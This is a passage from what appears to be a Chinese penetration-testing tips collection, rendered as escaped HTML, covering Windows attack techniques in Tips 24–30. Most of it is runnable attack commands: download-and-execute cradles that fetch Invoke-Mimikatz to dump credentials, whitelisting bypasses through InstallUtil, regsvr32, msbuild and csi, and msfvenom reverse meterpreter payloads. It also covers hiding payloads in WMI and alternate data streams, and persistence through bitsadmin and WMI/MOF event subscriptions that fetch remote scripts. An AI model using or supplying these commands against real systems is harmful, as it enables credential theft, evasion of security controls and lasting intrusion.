    &lt;span class="md_line md_line_start md_line_end"&gt;使用msdtc会以system权限加载oci.dll，但在管理员权限cmd执行：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msdtc -install&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动的calc.exe为high权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_27" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 24. 通过命令行能够对Windows系统安装WinPcap，这样就可以在Windows跳板上使用nmap和Masscan&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/"&gt;《渗透技巧——Windows平台运行Masscan和Nmap》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_28" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 25. Windows平台执行mimikatz的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_29" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过powershell&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_30" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过InstallUtil.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过360实例》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过限制的更多测试》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_31" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过regsvr32.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将mimikatz封装到dll中，通过regsvr32传入参数运行mimkatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 katz.dll,EntryPoint log coffee exit  &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_32" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：通过msbuild.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载xml文件，保存为a.xml：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/"&gt;《Use MSBuild To Do More》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_33" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：通过csi.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_34" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：通过js/vbs脚本&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/5c636b8736530fb20c3d&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/"&gt;《利用JS加载.Net程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_35" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 26. Windows系统中可供存储和读取payload的位置&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_36" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：WMI&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;存储：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_37" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：包含数字签名的PE文件&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://github.com/3gstudent/Pentest-and-Development-Tips/edit/master/README.md"&gt;《隐写技巧-在PE文件的数字证书中隐藏Payload》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_38" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：特殊ADS&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)...&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)特殊COM文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)磁盘根目录&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt;C:\:putty.exe 
wmic process call create C:\:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Hidden-Alternative-Data-Streams%E7%9A%84%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/"&gt;《Hidden Alternative Data Streams的进阶利用技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_39" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 27. Windows系统中值得搜集的信息&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_40" class="h16"&gt;&lt;span class="span_for_h"&gt;(1)已注册的WMI信息&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员也许会使用WMI记录攻击者调用WMI的操作，可通过wmic查看，当然通过wmic也能关闭该监控功能&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/"&gt;《Study Notes Weekly No.1(Monitor WMI &amp;amp; ExportsToC++ &amp;amp; Use DiskCleanup bypass UAC))》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_41" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 28. Windows系统反弹meterpreter的常用方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_42" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过rundll32加载dll反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msf：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080&amp;gt;./a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成a.dll,然后上传至测试主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行&lt;code&gt;rundll32.exe a.dll,Control_RunDLL&lt;/code&gt;，即可上线&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_43" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过cpl反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成dll，重命名为cpl，双击执行&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_44" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过powershell反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_45" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 29. Windows系统加载dll的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_46" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：rundll32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;rundll32 a.dll,EntryPoint&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_47" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：regsvr32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;regsvr32 a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_48" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：odbcconf&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;odbcconf.exe /a {regsvr c:\test\odbcconf.dll}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_49" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Tracker&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;Tracker.exe /d test.dll /c svchost.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;tracker.exe包含微软数字签名，可绕过应用程序白名单的限制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_50" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Excel.Application object&amp;#39;s RegisterXLL() method&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;前提：已安装Microsoft Office软件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.rundll32&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;3.powershell&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/"&gt;《Use Excel.Application object&amp;#39;s RegisterXLL() method to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_51" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：xwizard.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制%windir%\system32\下的xwizard.exe至新目录C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将msg.dll重命名为xwizards.dll，保存在C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;命令行执行：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;xwizard processXMLFile 1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;成功加载C:\x\xwizards.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-xwizard.exe-to-load-dll/"&gt;《Use xwizard.exe to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_52" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 30. Windows Persistence&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_53" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：bitsadmin&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Use bitsadmin to maintain persistence and bypass Autoruns》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_54" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：mof&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;pragma namespace("\\\\.\\root\\subscription")    
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mofcomp test.mof&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WSC、JSRAT and WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_55" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：wmi&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每隔60秒执行一次notepad.exe&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_56" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Userland Persistence With Scheduled Tasks&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;劫持计划任务UserTask，在系统启动时加载testmsg.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;操作如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;接着新建项InprocServer32&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;值设定为&lt;code&gt;c:\test\testmsg.dll&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;testmsg.dll包含如下导出函数：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;DllCanUnloadNow&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllGetClassObject&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllRegisterServer&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;DllUnregisterServer&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;等待用户重新登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_57" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Netsh&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper DLL需要包含导出函数InitHelperDll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh add helper c:\test\netshtest.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper dll添加成功后，每次调用netsh，均会加载c:\test\netshtest.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/"&gt;《Netsh persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

